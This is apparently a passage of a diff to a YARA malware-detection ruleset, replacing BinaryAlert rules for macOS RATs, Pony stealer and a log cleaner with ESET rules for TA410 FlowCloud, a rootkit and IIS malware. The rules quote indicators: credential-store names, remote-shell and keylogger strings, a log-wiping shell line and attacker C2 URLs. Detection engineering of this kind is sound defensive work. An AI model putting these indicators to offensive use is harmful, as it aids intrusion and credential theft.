+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/ta410/ta410.yar#L617-L639"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "c05b7031a5aec1bcf29eca06c010c402edeb24a093a2043dbc21781dff22c7fe"
 		score = 75
 		quality = 80
-		tags = ""
+		tags = "FILE"
+		license = "BSD 2-Clause"
+		version = "1"
 
 	strings:
-		$a1 = "<action>command<action>" wide ascii
-		$a2 = "<action>upload<action>" wide ascii
-		$a3 = "<action>download<action>" wide ascii
-		$a4 = "cmd.exe" wide ascii
-		$a5 = "application/x-www-form-urlencoded" wide ascii
-		$a6 = "&action=" wide ascii
-		$a7 = "&secondary=" wide ascii
-		$a8 = "<secondary>" wide ascii
-		$a9 = "<action>" wide ascii
+		$s1 = "df257bdd-847c-490e-9ef9-1d7dc883d3c0"
+		$s2 = "\\{2AFF264E-B722-4359-8E0F-947B85594A9A}"
+		$s3 = "Global\\{26C96B51-2B5D-4D7B-BED1-3DCA4848EDD1}" wide
+		$s4 = "{804423C2-F490-4ac3-BFA5-13DEDE63A71A}" wide
+		$s5 = "{A5124AF5-DF23-49bf-B0ED-A18ED3DEA027}" wide
+		$s6 = "XXXModule_func.dll"
+		$driver1 = "\\drivers\\hidmouse.sys" wide fullword
+		$driver2 = "\\drivers\\hidusb.sys" wide fullword
 
 	condition:
-		all of ($a*)
+		uint16(0)==0x5a4d and ( any of ($s*) or all of ($driver*))
 }
 import "pe"
 
-rule BINARYALERT_Malware_Windows_Moonlightmaze_U_Logcleaner : FILE
+rule ESET_Apt_Windows_TA410_Flowcloud_Fcclientdll_Strings : FILE
 {
 	meta:
-		description = "Rule to detect log cleaners based on utclean.c"
-		author = "Kaspersky Lab"
-		id = "2dc1b796-c8fe-5a87-9d6b-3a322f4a43ab"
-		date = "2017-08-11"
-		modified = "2017-08-11"
-		reference = "http://cd.textfiles.com/cuteskunk/Unix-Hacking-Exploits/utclean.c"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_moonlightmaze_u_logcleaner.yara#L3-L18"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "65fe29075294dfad06f4cca631d5d2f1283c439e9a5913f503fe6e4bb1f5f70a"
+		description = "Strings found in fcClientDll/responsor.dat module."
+		author = "ESET Research"
+		id = "80ecaf51-406f-590c-8f9c-59672683de02"
+		date = "2021-10-12"
+		modified = "2022-04-27"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/ta410/ta410.yar#L641-L669"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "3a93f58cf14b57a96157077ec14aa6fb181e3da80f4ba46c0379a58b67c08a0e"
 		score = 75
 		quality = 80
 		tags = "FILE"
-		md5_1 = "d98796dcda1443a37b124dbdc041fe3b"
-		md5_2 = "73a518f0a73ab77033121d4191172820"
+		license = "BSD 2-Clause"
+		version = "1"
 
 	strings:
-		$a1 = "Hiding complit...n"
-		$a2 = "usage: %s <username> <fixthings> [hostname]"
-		$a3 = "ls -la %s* ; /bin/cp  ./wtmp.tmp %s; rm  ./wtmp.tmp"
+		$s1 = "http://%s/html/portlet/ext/draco/resources/draco_manager.swf/[[DYNAMIC]]/1"
+		$s2 = "Cookie: COOKIE_SUPPORT=true; JSESSIONID=5C7E7A60D01D2891F40648DAB6CB3DF4.jvm1; COMPANY_ID=10301; ID=666e7375545678695645673d; PASSWORD=7a4b48574d746470447a303d; LOGIN=6863303130; SCREEN_NAME=4a2b455377766b657451493d; GUEST_LANGUAGE_ID=en-US"
+		$fc_msg = ".fc_net.msg"
+		$s4 = "\\pipe\\namedpipe_keymousespy_english" wide
+		$s5 = "8932910381748^&*^$58876$%^ghjfgsa413901280dfjslajflsdka&*(^7867=89^&*F(^&*5678f5ds765f76%&*%&*5"
+		$s6 = "cls_{CACB140B-0B82-4340-9B05-7983017BA3A4}" wide
+		$s7 = "HTTP/1.1 200 OK\x0d\nServer: Apache-Coyote/1.1\x0d\nPragma: No-cache\x0d\nCache-Control: no-cache\x0d\nExpires: Thu, 01 Jan 1970 08:00:00 CST\x0d\nLast-Modified: Fri, 27 Apr 2012 08:11:04 GMT\x0d\nContent-Type: application/xml\x0d\nContent-Length: %d\x0d\nDate: %s GMT"
+		$sql1 = "create table if not exists table_filed_space"
+		$sql2 = "create table if not exists clipboard"
+		$sql3 = "create trigger if not exists file_after_delete after delete on file"
+		$sql4 = "create trigger if not exists file_data_after_insert after insert on file_data"
+		$sql5 = "create trigger if not exists file_data_after_delete after delete on file_data"
+		$sql6 = "create trigger if not exists file_data_after_update after update on file_data"
+		$sql7 = "insert into file_data(file_id, ofs, data, status)"
 
 	condition:
-		( uint32(0)==0x464c457f) and ( any of them )
+		uint16(0)==0x5a4d and ( any of ($s*) or #fc_msg>=8 or 4 of ($sql*))
 }
-rule BINARYALERT_Malware_Windows_Moonlightmaze_Encrypted_Keyloger
+import "pe"
+
+rule ESET_Apt_Windows_TA410_Rootkit_Strings : FILE
 {
 	meta:
-		description = "Rule to detect Moonlight Maze encrypted keylogger logs"
-		author = "Kaspersky Lab"
-		id = "4f290d77-5cb5-5f07-98fd-1829e2f00e63"
-		date = "2017-08-11"
-		modified = "2017-08-11"
-		reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_moonlightmaze_encrypted_keyloger.yara#L1-L11"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "cdcbe112ae394ce0922647904f70cfae626d413d1770b0e20d2ba49e1f4e2d2d"
+		description = "Strings found in TA410's Rootkit"
+		author = "ESET Research"
+		id = "a6a97721-571e-5414-9b00-5789d7bcd078"
+		date = "2021-10-12"
+		modified = "2022-04-27"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/ta410/ta410.yar#L671-L697"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "1d3ad63508c5e4bca32b9a44b738cb4a7384ccfa5704ce329260adb342ea4e60"
 		score = 75
 		quality = 80
-		tags = ""
+		tags = "FILE"
+		license = "BSD 2-Clause"
+		version = "1"
 
 	strings:
-		$a1 = {47 01 22 2A 6D 3E 39 2C}
+		$driver1 = "\\Driver\\kbdclass" wide
+		$driver2 = "\\Driver\\mouclass" wide
+		$device1 = "\\Device\\KeyboardClass0" wide
+		$device2 = "\\Device\\PointerClass0" wide
+		$driver3 = "\\Driver\\tcpip" wide
+		$device3 = "\\Device\\tcp" wide
+		$driver4 = "\\Driver\\nsiproxy" wide
+		$device4 = "\\Device\\Nsi" wide
+		$reg1 = "\\Registry\\Machine\\SYSTEM\\Setup\\AllowStart\\ceipCommon" wide
+		$reg2 = "RHH%d" wide
+		$reg3 = "RHP%d" wide
+		$s1 = "\\SystemRoot\\System32\\drivers\\hidmouse.sys" wide
 
 	condition:
-		($a1 at 0)
+		uint16(0)==0x5a4d and all of ($s1,$reg*) and ( all of ($driver*) or all of ($device*))
 }
-rule BINARYALERT_Malware_Windows_Pony_Stealer
+import "pe"
+
+rule ESET_Apt_Windows_TA410_Flowcloud_V5_Resources : FILE
 {
 	meta:
-		description = "Pony stealer malware"
-		author = "@mimeframe"
-		id = "77af81cb-36c7-56a7-bd89-14d79628e5c4"
-		date = "2017-08-11"
-		modified = "2017-08-11"
-		reference = "https://www.knowbe4.com/pony-stealer"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_pony_stealer.yara#L1-L21"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		hash = "5e52ce394c3be2a685dbb8f435e2f64f"
-		logic_hash = "4d4e28e0d4d97412a9129a4abfadc130a464a2ababf46ca8f366a2a30b262261"
+		description = "Matches sequence of PE resource IDs found in TA410 FlowCloud version 5.0.2"
+		author = "ESET Research"
+		id = "05a233f0-a823-5154-a47d-cede722d4710"
+		date = "2021-10-12"
+		modified = "2022-04-27"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/ta410/ta410.yar#L699-L720"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "58f75dda53c6d4b3d88f464c452d855ac6dc88add5f4fba2641f52e7a1ae00ed"
 		score = 75
-		quality = 50
-		tags = ""
-
-	strings:
-		$a1 = "signons.sqlite" nocase wide ascii
-		$a2 = "signons.txt" nocase wide ascii
-		$a3 = "signons2.txt" nocase wide ascii
-		$a4 = "signons3.txt" nocase wide ascii
-		$a5 = "WininetCacheCredentials" nocase wide ascii
-		$a6 = "moz_logins" nocase wide ascii
-		$a7 = "encryptedPassword" nocase wide ascii
-		$a8 = "FlashFXP" nocase wide ascii
-		$a9 = "BulletProof" nocase wide ascii
-		$a10 = "CuteFTP" nocase wide ascii
+		quality = 80
+		tags = "FILE"
+		license = "BSD 2-Clause"
+		version = "1"
 
 	condition:
-		all of ($a*)
+		uint16(0)==0x5a4d and pe.number_of_resources>=13 and for 12resource in pe.resources : (resource.type==10 and resource.language==1033 and (resource.name_string=="1\x000\x000\x00" or resource.name_string=="1\x000\x000\x000\x00" or resource.name_string=="1\x000\x000\x000\x000\x00" or resource.name_string=="1\x000\x000\x001\x00" or resource.name_string=="1\x000\x001\x00" or resource.name_string=="1\x000\x002\x00" or resource.name_string=="1\x000\x003\x00" or resource.name_string=="1\x000\x004\x00" or resource.name_string=="1\x000\x005\x00" or resource.name_string=="1\x000\x006\x00" or resource.name_string=="1\x000\x007\x00" or resource.name_string=="1\x000\x008\x00" or resource.name_string=="1\x000\x009\x00" or resource.name_string=="1\x001\x000\x00" or resource.name_string=="2\x000\x000\x000\x00" or resource.name_string=="2\x000\x000\x001\x00"))
 }
-rule BINARYALERT_Malware_Macos_Proton_Rat_Generic
+import "pe"
+
+rule ESET_Apt_Windows_TA410_Flowcloud_V4_Resources : FILE
 {
 	meta:
-		description = "No description has been set in the source file - BinaryAlert"
-		author = "@mimeframe"
-		id = "75cfaaff-e8d7-5cd4-953b-7d2011139725"
-		date = "2017-08-11"
-		modified = "2017-08-11"
-		reference = "https://objective-see.com/blog/blog_0x1D.html"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/macos/malware_macos_proton_rat_generic.yara#L3-L21"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		hash = "6a2d0c8b20efc3fa283176a4bc76d6fd"
-		logic_hash = "b7d8660320564cba1d8e2d53d1fdc75509140c7e87a572b27931c62201df2d22"
+		description = "Matches sequence of PE resource IDs found in TA410 FlowCloud version 4.1.3"
+		author = "ESET Research"
+		id = "57b98823-439f-5a2c-a8cb-ac5e98953b06"
+		date = "2021-10-12"
+		modified = "2022-04-27"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/ta410/ta410.yar#L722-L741"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "7b475cfddb5f995f7e8e3293b8e6ae59a9e36143998bc444499b5dce467f8e9d"
 		score = 75
-		quality = 64
-		tags = ""
-
-	strings:
-		$a1 = "SRWebSocket" nocase wide ascii
-		$a2 = "SocketRocket" nocase wide ascii
-		$b1 = "SSH tunnel not launched" nocase wide ascii
-		$b2 = "SSH tunnel still running" nocase wide ascii
-		$b3 = "SSH tunnel already launched" nocase wide ascii
-		$b4 = "Entering interactive session." nocase wide ascii
+		quality = 80
+		tags = "FILE"
+		license = "BSD 2-Clause"
+		version = "1"
 
 	condition:
-		BINARYALERT_Macho_PRIVATE and any of ($a*) and any of ($b*)
+		uint16(0)==0x5a4d and pe.number_of_resources>=6 and for 5resource in pe.resources : (resource.type==10 and resource.language==1033 and (resource.name_string=="1\x000\x000\x000\x000\x00" or resource.name_string=="1\x000\x000\x000\x001\x00" or resource.name_string=="1\x000\x000\x000\x002\x00" or resource.name_string=="1\x000\x000\x000\x003\x00" or resource.name_string=="1\x000\x000\x000\x004\x00" or resource.name_string=="1\x000\x000\x000\x005\x00" or resource.name_string=="1\x000\x001\x000\x000\x00"))
 }
-rule BINARYALERT_Malware_Macos_Apt_Sofacy_Xagent
+import "pe"
+
+rule ESET_IIS_Group02
 {
 	meta:
-		description = "sofacy xagent for macOS"
-		author = "@mimeframe"
-		id = "91bef771-2ef1-58f6-ae01-3bdde4cc003c"
-		date = "2017-09-12"
-		modified = "2017-09-12"
-		reference = "https://blog.malwarebytes.com/cybercrime/2017/03/two-new-mac-backdoors-discovered/"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/macos/malware_macos_apt_sofacy_xagent.yara#L3-L62"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		hash = "4fe4b9560e99e33dabca553e2eeee510"
-		logic_hash = "d4b1096e4aeb8382e5abf93d3ecf71cd6ae2ed7afbc9a38549a2fc2739539674"
+		description = "Detects Group 2 native IIS malware family"
+		author = "ESET Research"
+		id = "945e3748-1072-55f3-abaa-903dfc250294"
+		date = "2021-08-04"
+		modified = "2021-08-04"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/badiis/badiis.yar#L134-L155"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "3fa2b8fed3c580f446b55412a920a5cfed2317b06aa93d059e9f89fdbec8f683"
 		score = 75
-		quality = 55
+		quality = 76
 		tags = ""
+		license = "BSD 2-Clause"
+		version = "1"
 
 	strings:
-		$a1 = "remoteShell" ascii wide
-		$a2 = "getInfoOSX" ascii wide
-		$a3 = "ftpUpload" ascii wide
-		$a4 = "startUploading" ascii wide
-		$a5 = "deleteFile:" ascii wide
-		$a6 = "executeShellCommand" ascii wide
-		$a7 = "getFirefoxPassword" ascii wide
-		$a8 = "generateRandomPathAndName" ascii wide
-		$a9 = "createCryptPacket" ascii wide
-		$a10 = "CameraShot" ascii wide
-		$a11 = "7Cryptor" ascii wide
-		$a12 = "8ICryptor" ascii wide
-		$a13 = "Keylogger" ascii wide
-		$a14 = "BootXLoader" ascii wide
-		$a15 = "InjectApp" ascii wide
-		$b1 = "/Project/XAgentOSX/" ascii wide
-		$b2 = "XLoader_OSX" fullword ascii wide
-		$b3 = "<span class='keylog_user_keys'>" ascii wide
-		$b4 = "<span class='keylog_process'>" ascii wide
-		$b5 = "<span class='keylog_spec_key'>" ascii wide
-		$b6 = "<font size=4 color=red><pre>Stop take screenshot</pre></font>" ascii wide
-		$c1 = "http://23.227.196.215/" ascii wide
-		$c2 = "http://apple-iclods.org/" ascii wide
-		$c3 = "http://apple-checker.org/" ascii wide
-		$c4 = "http://apple-uptoday.org/" ascii wide
-		$c5 = "http://apple-search.info" ascii wide
-		$d1 = "watch/?" fullword ascii wide
-		$d2 = "search/?" fullword ascii wide
-		$d3 = "find/?" fullword ascii wide
-		$d4 = "results/?" fullword ascii wide
-		$d5 = "open/?" fullword ascii wide
-		$d6 = "search/?" fullword ascii wide
-		$d7 = "close/?" fullword ascii wide
-		$e1 = "itwm=" fullword ascii wide
-		$e2 = "text=" fullword ascii wide
-		$e3 = "from=" fullword ascii wide
-		$e4 = "itwm=" fullword ascii wide
-		$e5 = "ags=" fullword ascii wide
-		$e6 = "btnG=" fullword ascii wide
-		$e7 = "oprnd=" fullword ascii wide
-		$e8 = "itwm=" fullword ascii wide
-		$e9 = "utm=" fullword ascii wide
-		$e10 = "channel=" fullword ascii wide
+		$s1 = "HttpModule.pdb" ascii wide
+		$s2 = "([\\w+%]+)=([^&]*)"
+		$s3 = "([\\w+%]+)=([^!]*)"
+		$s4 = "cmd.exe"
+		$s5 = "C:\\Users\\Iso\\Documents\\Visual Studio 2013\\Projects\\IIS 5\\x64\\Release\\Vi.pdb" ascii wide
+		$s6 = "AVRSAFunction"
 
 	condition:
-		BINARYALERT_Macho_PRIVATE and (5 of ($a*) or any of ($b*) or any of ($c*) or 4 of ($d*) or 5 of ($e*))
+		ESET_IIS_Native_Module_PRIVATE and 3 of ($s*)
 }
-rule BINARYALERT_Malware_Macos_Marten4N6_Evilosx
+import "pe"
+
+rule ESET_IIS_Group03
 {
 	meta:
-		description = "EvilOSX is a pure python, post-exploitation, RAT (Remote Administration Tool) for macOS / OSX."
-		author = "@mimeframe"
-		id = "2b2e62ca-f95c-55c5-aaf6-985aab49dfbb"
-		date = "2017-09-12"
-		modified = "2017-09-12"
-		reference = "https://github.com/Marten4n6/EvilOSX"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/macos/malware_macos_marten4n6_evilosx.yara#L1-L16"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "3402ebf34fd507d0c317416bf77bb3d51b67c8b0f099ce68d15ade6a6a2e302a"
+		description = "Detects Group 3 native IIS malware family"
+		author = "ESET Research"
+		id = "9caf9b3e-611e-5e0e-a7ee-9e7515679022"
+		date = "2021-08-04"
+		modified = "2021-08-04"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/badiis/badiis.yar#L157-L176"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "d811c2ac610780bf968e86e8fd302cffc9434902e547399d06fdeb30d1719f51"
 		score = 75
 		quality = 80
 		tags = ""
+		license = "BSD 2-Clause"
+		version = "1"
 
 	strings:
-		$a1 = "icloud_phish_stop" fullword wide ascii
-		$a2 = "icloud_contacts" fullword wide ascii
-		$a3 = "itunes_backups" fullword wide ascii
-		$a4 = "chrome_passwords" fullword wide ascii
-		$a5 = "Starting EvilOSX..." wide ascii
+		$s1 = "IIS-Backdoor.dll"
+		$s2 = "CryptStringToBinaryA"
+		$s3 = "CreateProcessA"
+		$s4 = "X-Cookie"
 
 	condition:
-		4 of ($a*)
+		ESET_IIS_Native_Module_PRIVATE and 3 of ($s*)
 }
-rule BINARYALERT_Malware_Macos_Neoneggplant_Eggshell
+import "pe"
+
+rule ESET_IIS_Group04_Rgdoor
 {
 	meta:
-		description = "EggShell is an iOS and macOS post exploitation surveillance pentest tool written in Python."
-		author = "@mimeframe"
-		id = "274a34cc-9403-50e6-aa64-683a41bc30e6"
-		date = "2017-09-12"
-		modified = "2017-09-12"
-		reference = "https://github.com/neoneggplant/EggShell"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/macos/malware_macos_neoneggplant_eggshell.yara#L1-L24"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "34906db9398313ccb84e67bd98e94324c628aefe3efa6ba3cca2df042b42cbe7"
-		score = 50
+		description = "Detects Group 4 native IIS malware family (RGDoor)"
+		author = "ESET Research"
+		id = "64a0e664-a4d9-555b-a11b-5f7d9d0678b1"
+		date = "2021-08-04"
+		modified = "2021-08-04"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/badiis/badiis.yar#L178-L199"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "be615dc0cc8bf0fd52cc5a88a3759c1cb1cd18703de74d16f5cce3eabccf91c6"
+		score = 75
 		quality = 80
 		tags = ""
+		license = "BSD 2-Clause"
+		version = "1"
 
 	strings:
-		$a1 = "Created By Lucas Jackson (@neoneggplant)" wide ascii
-		$a2 = "SET LHOST (Leave blank for" wide ascii
-		$a3 = "SET LPORT (Leave blank for" wide ascii
-		$b1 = "/tmp/.esplog" wide ascii
-		$b2 = "spGHbigdxMBJpbOCAr3rnS3inCdYQyZV" wide ascii
-		$b3 = "keylogclear" wide ascii
-		$b4 = "getpasscode" wide ascii
-		$c1 = "spGHbigdxMBJpbOCAr3rnS3inCdYQyZV" wide ascii
-		$c2 = "getfacebook" wide ascii
-		$c3 = "type is eggsu" wide ascii
-		$c4 = "rmpersistence" wide ascii
+		$i1 = "RGSESSIONID="
+		$s2 = "upload$"
+		$s3 = "download$"
+		$s4 = "cmd$"
+		$s5 = "cmd.exe"
 
 	condition:
-		all of ($a*) or 3 of ($b*) or 3 of ($c*)
+		ESET_IIS_Native_Module_PRIVATE and ($i1 or all of ($s*))
 }
 import "pe"
 
-rule BINARYALERT_Malware_Macos_Macspy : FILE
+rule ESET_IIS_Group05_Iistealer
 {
 	meta:
-		description = "macSpy is a malware-as-a-service (MaaS) product advertised as the most sophisticated Mac spyware ever"
-		author = "AlienVault Labs"
-		id = "5f9a5ed5-a982-552c-a6df-326228eaf459"
-		date = "2017-08-11"
-		modified = "2017-08-11"
-		reference = "https://www.alienvault.com/blogs/labs-research/macspy-os-x-rat-as-a-service"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/macos/malware_macos_macspy.yara#L3-L17"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		hash = "6c03e4a9bcb9afaedb7451a33c214ae4"
-		logic_hash = "f04648860c9602e43516113000908008847dacfbe189d79e13737bcd034b68a0"
+		description = "Detects Group 5 native IIS malware family (IIStealer)"
+		author = "ESET Research"
+		id = "598ec6b2-0349-5da7-acad-72ef2468b927"
+		date = "2021-08-04"
+		modified = "2021-08-04"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/badiis/badiis.yar#L201-L232"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "5dff445121fda59df805d6fcb5db3f8f8e52a6e63e2da2a6875f8c9ad9cafc72"
 		score = 75
 		quality = 80
-		tags = "FILE"
+		tags = ""
+		license = "BSD 2-Clause"
+		version = "1"
 
 	strings:
-		$header0 = {cf fa ed fe}
-		$header1 = {ce fa ed fe}
-		$header2 = {ca fe ba be}
-		$c1 = { 76 31 09 00 76 32 09 00 76 33 09 00 69 31 09 00 69 32 09 00 69 33 09 00 69 34 09 00 66 31 09 00 66 32 09 00 66 33 09 00 66 34 09 00 74 63 3A 00 }
+		$s1 = "tojLrGzFMbcDTKcH" ascii wide
+		$s2 = "4vUOj3IutgtrpVwh" ascii wide
+		$s3 = "SoUnRCxgREXMu9bM" ascii wide
+		$s4 = "9Zr1Z78OkgaXj1Xr" ascii wide
+		$s5 = "cache.txt" ascii wide
+		$s6 = "/checkout/checkout.aspx" ascii wide
+		$s7 = "/checkout/Payment.aspx" ascii wide
+		$s8 = "/privacy.aspx"
+		$s9 = "X-IIS-Data"
+		$s10 = "POST"
+		$s11 = {C7 ?? CF 2F 00 63 00 C7 ?? D3 68 00 65 00 C7 ?? D7 63 00 6B 00 C7 ?? DB 6F 00 75 00 C7 ?? DF 74 00 2F 00 C7 ?? E3 63 00 68 00 C7 ?? E7 65 00 63 00 C7 ?? EB 6B 00 6F 00 C7 ?? EF 75 00 74 00 C7 ?? F3 2E 00 61 00 C7 ?? F7 73 00 70 00 C7 ?? FB 78 00 00 00}
+		$s12 = {C7 ?? AF 2F 00 70 00 C7 ?? B3 72 00 69 00 C7 ?? B7 76 00 61 00 C7 ?? BB 63 00 79 00 C7 ?? BF 2E 00 61 00 C7 ?? C3 73 00 70 00 C7 ?? C7 78 00 00 00}
 
 	condition:
-		($header0 at 0 or $header1 at 0 or $header2 at 0) and $c1
+		ESET_IIS_Native_Module_PRIVATE and 3 of ($s*)
 }
-rule BINARYALERT_Malware_Macos_Bella
+import "pe"
+
+rule ESET_IIS_Group06_ISN
 {
 	meta:
-		description = "Bella is a pure python post-exploitation data mining tool & remote administration tool for macOS."
-		author = "@mimeframe"
-		id = "ca4ab508-8c97-5307-9aaf-db10cfd6ab35"
-		date = "2017-09-12"
-		modified = "2017-09-12"
-		reference = "https://github.com/Trietptm-on-Security/Bella"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/macos/malware_macos_bella.yara#L1-L22"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "b9c063b5ec8604958d3417ec8640da4314ebcf60ee55413a2f6fa8d138311614"
+		description = "Detects Group 6 native IIS malware family (ISN)"
+		author = "ESET Research"
+		id = "1f68fc42-61a3-5a7d-9daa-31ae3b561837"
+		date = "2021-08-04"
+		modified = "2021-08-04"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/badiis/badiis.yar#L234-L259"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "2f59034a642a9b92fc88922433cd5923be02332159cba5e16d99d9523ed43205"
 		score = 75
 		quality = 80
 		tags = ""
+		license = "BSD 2-Clause"
+		version = "1"
 
 	strings:
-		$a1 = "Verified! [2FV Enabled] Account ->" wide ascii
-		$a2 = "There is no root shell to perform this command. See [rooter] manual entry." wide ascii
-		$a3 = "Attempt to escalate Bella to root through a variety of attack vectors." wide ascii
-		$a4 = "BELLA IS NOW RUNNING. CONNECT TO BELLA FROM THE CONTROL CENTER." wide ascii
-		$b1 = "user_pass_phish" fullword wide ascii
-		$b2 = "bella_info" fullword wide ascii
-		$b3 = "get_root" fullword wide ascii
-		$c1 = "Please specify a bella server." wide ascii
-		$c2 = "What port should Bella connect on [Default is 4545]:" wide ascii
+		$s1 = "isn7 config reloaded"
+		$s2 = "isn7 config NOT reloaded, not found or empty"
+		$s3 = "isn7 log deleted"
+		$s4 = "isn7 log not deleted, ERROR 0x%X"
+		$s5 = "isn7 log NOT found"
+		$s6 = "isn_reloadconfig"
+		$s7 = "D:\\soft\\Programming\\C++\\projects\\isapi\\isn7"
+		$s8 = "get POST failed %d"
+		$s9 = "isn7.dll"
 
 	condition:
-		any of ($a*) or all of ($b*) or all of ($c*)
+		ESET_IIS_Native_Module_PRIVATE and 3 of ($s*)
 }
-rule BINARYALERT_Malware_Multi_Pupy_Rat
-{
-	meta:
-		description = "pupy - opensource cross platform rat and post-exploitation tool"
-		author = "@mimeframe"
-		id = "b26deb19-85b2-5d39-9ff2-0ab9017f3263"
-		date = "2017-09-12"
-		modified = "2017-09-12"
-		reference = "https://github.com/n1nj4sec/pupy"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/multi/malware_multi_pupy_rat.yara#L1-L16"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "bb5d1e7f2aea94dc41efe75690ae31409e8f6305aa6c4ec0cd46922ee8fb7241"
-		score = 75
-		quality = 74
-		tags = ""
-
-	strings:
-		$a1 = "dumping lsa secrets" nocase wide ascii
-		$a2 = "dumping cached domain passwords" nocase wide ascii
-		$a3 = "the keylogger is already started" nocase wide ascii
-		$a4 = "pupyutils.dns" wide ascii
-		$a5 = "pupwinutils.security" wide ascii
-		$a6 = "-PUPY_CONFIG_COMES_HERE-" wide ascii
+import "pe"
 
-	condition:
-		3 of ($a*)
-}
-rule BINARYALERT_Malware_Multi_Vesche_Basicrat
+rule ESET_IIS_Group07_Iispy
 {
 	meta:
-		description = "cross-platform Python 2.x Remote Access Trojan (RAT)"
-		author = "@mimeframe"
-		id = "e07a684c-3a3d-5dd3-a540-2cc9a5a170dd"
-		date = "2017-09-12"
-		modified = "2017-09-12"
-		reference = "https://github.com/vesche/basicRAT"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/multi/malware_multi_vesche_basicrat.yara#L1-L15"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
